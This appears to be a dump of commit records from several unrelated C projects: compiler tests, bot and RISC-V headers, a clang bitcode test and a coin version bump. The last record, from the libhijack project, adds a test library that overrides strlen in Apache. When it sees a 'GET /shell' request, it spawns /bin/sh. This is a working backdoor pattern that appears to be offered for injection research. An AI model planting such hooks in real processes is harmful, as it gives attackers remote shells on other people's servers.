// RUN: %check %s struct A { int i; }; int f(const void *p) { struct A *a = p; // CHECK: warning: implicit cast removes qualifiers (const) struct A *b = (struct A *)p; // CHECK: !/warning:.*cast removes qualifiers/ (void)a; (void)b; }
// RUN: %check %s struct A { int i; }; void take(void *); int f(const void *p) { struct A *a = p; // CHECK: warning: implicit cast removes qualifiers (const) struct A *b = (struct A *)p; // CHECK: !/warning:.*cast removes qualifiers/ (void)a; (void)b; const char c = 5; take(&c); // CHECK: warning: implicit cast removes qualifiers (const) }
Add another case to qualifier-removal test
Add another case to qualifier-removal test
C
mit
8l/ucc-c-compiler,8l/ucc-c-compiler,8l/ucc-c-compiler,8l/ucc-c-compiler
f1dc5b21241d0b16bb62f8ede6990476f87466d9
src/main.h
src/main.h
#pragma once #include <unistd.h> #include <algorithm> #include <cstdarg> #include <exception> #include <functional> #include <iostream> #include <list> #include <map> #include <memory> #include <queue> #include <set> #include <sstream> #include <string> #include <thread> #include <tuple> #include <unordered_map> #include <utility> #include <vector> const std::string BotVersion ("3.0.0-devel"); const unsigned int BotVersionNum = 2800;
#pragma once #include <unistd.h> #include <algorithm> #include <cstdarg> #include <exception> #include <functional> #include <iostream> #include <list> #include <map> #include <memory> #include <mutex> #include <queue> #include <set> #include <sstream> #include <string> #include <thread> #include <tuple> #include <unordered_map> #include <utility> #include <vector> const std::string BotVersion ("3.0.0-devel"); const unsigned int BotVersionNum = 2800;
Add <mutex> to the list of includes
Add <mutex> to the list of includes
C
mit
ElementalAlchemist/RoBoBo,ElementalAlchemist/RoBoBo
79e7b91e87e8fa1c68785aa95e4c9ec090e75768
src/asm/riscv-sbi.h
src/asm/riscv-sbi.h
// // riscv-sbi.h // #ifndef riscv_sbi_h #define riscv_sbi_h #ifdef __cplusplus extern "C" { #endif const char* sbi_get_config(void); size_t sbi_hart_id(void); int sbi_send_ipi(size_t hart_id); bool sbi_clear_ipi(void); void sbi_shutdown(void); int sbi_console_putchar(uint8_t ch); int sbi_console_getchar(void); void sbi_remote_sfence_vm(const uintptr_t* harts, size_t asid); void sbi_remote_sfence_vm_range(const uintptr_t* harts, size_t asid, uintptr_t start, uintptr_t size); void sbi_remote_fence_i(const uintptr_t* harts); int sbi_mask_interrupt(int which); int sbi_unmask_interrupt(int which); #ifdef __cplusplus } #endif #endif
Add Supervisor Binary Interface (SBI) header
Add Supervisor Binary Interface (SBI) header
C
mit
rv8-io/rv8,rv8-io/rv8,rv8-io/rv8
71a62fbfeaef46dc5cd7030e61a5b2014fbb6cb6
test/Frontend/ir-support.c
test/Frontend/ir-support.c
// Test that we can consume LLVM IR/bitcode in the frontend and produce // identical output to a standard compilation. // Reference output: // RUN: %clang_cc1 -S -o %t.s %s // LLVM bitcode: // RUN: %clang_cc1 -emit-llvm-bc -o %t.bc %s // RUN: %clang_cc1 -S -o - %t.bc > %t.bc.s // RUN: diff %t.s %t.bc.s // LLVM IR source code: // RUN: %clang_cc1 -emit-llvm-bc -o %t.ll %s // RUN: %clang_cc1 -S -o - %t.ll > %t.ll.s // RUN: diff %t.s %t.ll.s int f() { return 0; }
Add test coverage for .bc input in the frontend
Add test coverage for .bc input in the frontend Test that we can consume LLVM bitcode and additionally check that it produces the same output as a direct compilation. The feature is crashy and has gone untested until now, but we might as well provide some coverage as long as it remains in tree. Also test LL source input in the same way because the existing tests for that don't look convincing. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@211844 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang
4be94c72d54a91d5b47b8b7fc5949160fd78c9d2
src/clientversion.h
src/clientversion.h
#ifndef CLIENTVERSION_H #define CLIENTVERSION_H // // client versioning // // These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it #define CLIENT_VERSION_MAJOR 2 #define CLIENT_VERSION_MINOR 2 #define CLIENT_VERSION_REVISION 1 #define CLIENT_VERSION_BUILD 0 // Converts the parameter X to a string after macro replacement on X has been performed. // Don't merge these into one macro! #define STRINGIZE(X) DO_STRINGIZE(X) #define DO_STRINGIZE(X) #X #endif // CLIENTVERSION_H
#ifndef CLIENTVERSION_H #define CLIENTVERSION_H // // client versioning // // These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it #define CLIENT_VERSION_MAJOR 2 #define CLIENT_VERSION_MINOR 2 #define CLIENT_VERSION_REVISION 2 #define CLIENT_VERSION_BUILD 0 // Converts the parameter X to a string after macro replacement on X has been performed. // Don't merge these into one macro! #define STRINGIZE(X) DO_STRINGIZE(X) #define DO_STRINGIZE(X) #X #endif // CLIENTVERSION_H
Set version for upcoming bugfix release
Set version for upcoming bugfix release
C
mit
spectrecoin/spectre,spectrecoin/spectre,spectrecoin/spectre,spectrecoin/spectre,spectrecoin/spectre,spectrecoin/spectre
4c52274889c8c24e347890fa97f0b1518b80cdad
tests/strlenso.c
tests/strlenso.c
#include <stdio.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> #include <dirent.h> static void *dl; size_t (*orig_strlen)(const char *); __attribute__((constructor)) void stub(void) { dl = dlopen("/lib/libc.so.6", RTLD_LAZY | RTLD_GLOBAL); orig_strlen = dlsym(dl, "strlen"); } size_t strlen(const char *s) { FILE *fp; char filename[1024+1]; if (!strcmp(s, "GET /shell HTTP/1.1")) { snprintf(filename, sizeof(filename), "/tmp/mal-%d.log", getpid()); fp = fopen(filename, "a"); if ((fp)) { fprintf(fp, "Attempting to start shell!\n"); fclose(fp); } printf("Muahahaha!\n"); execl("/bin/sh", "sh", NULL); } return orig_strlen(s); }
Add test strlen so for hijacking apache's strlen
Add test strlen so for hijacking apache's strlen
C
bsd-2-clause
sigma-random/libhijack,sigma-random/libhijack,SoldierX/libhijack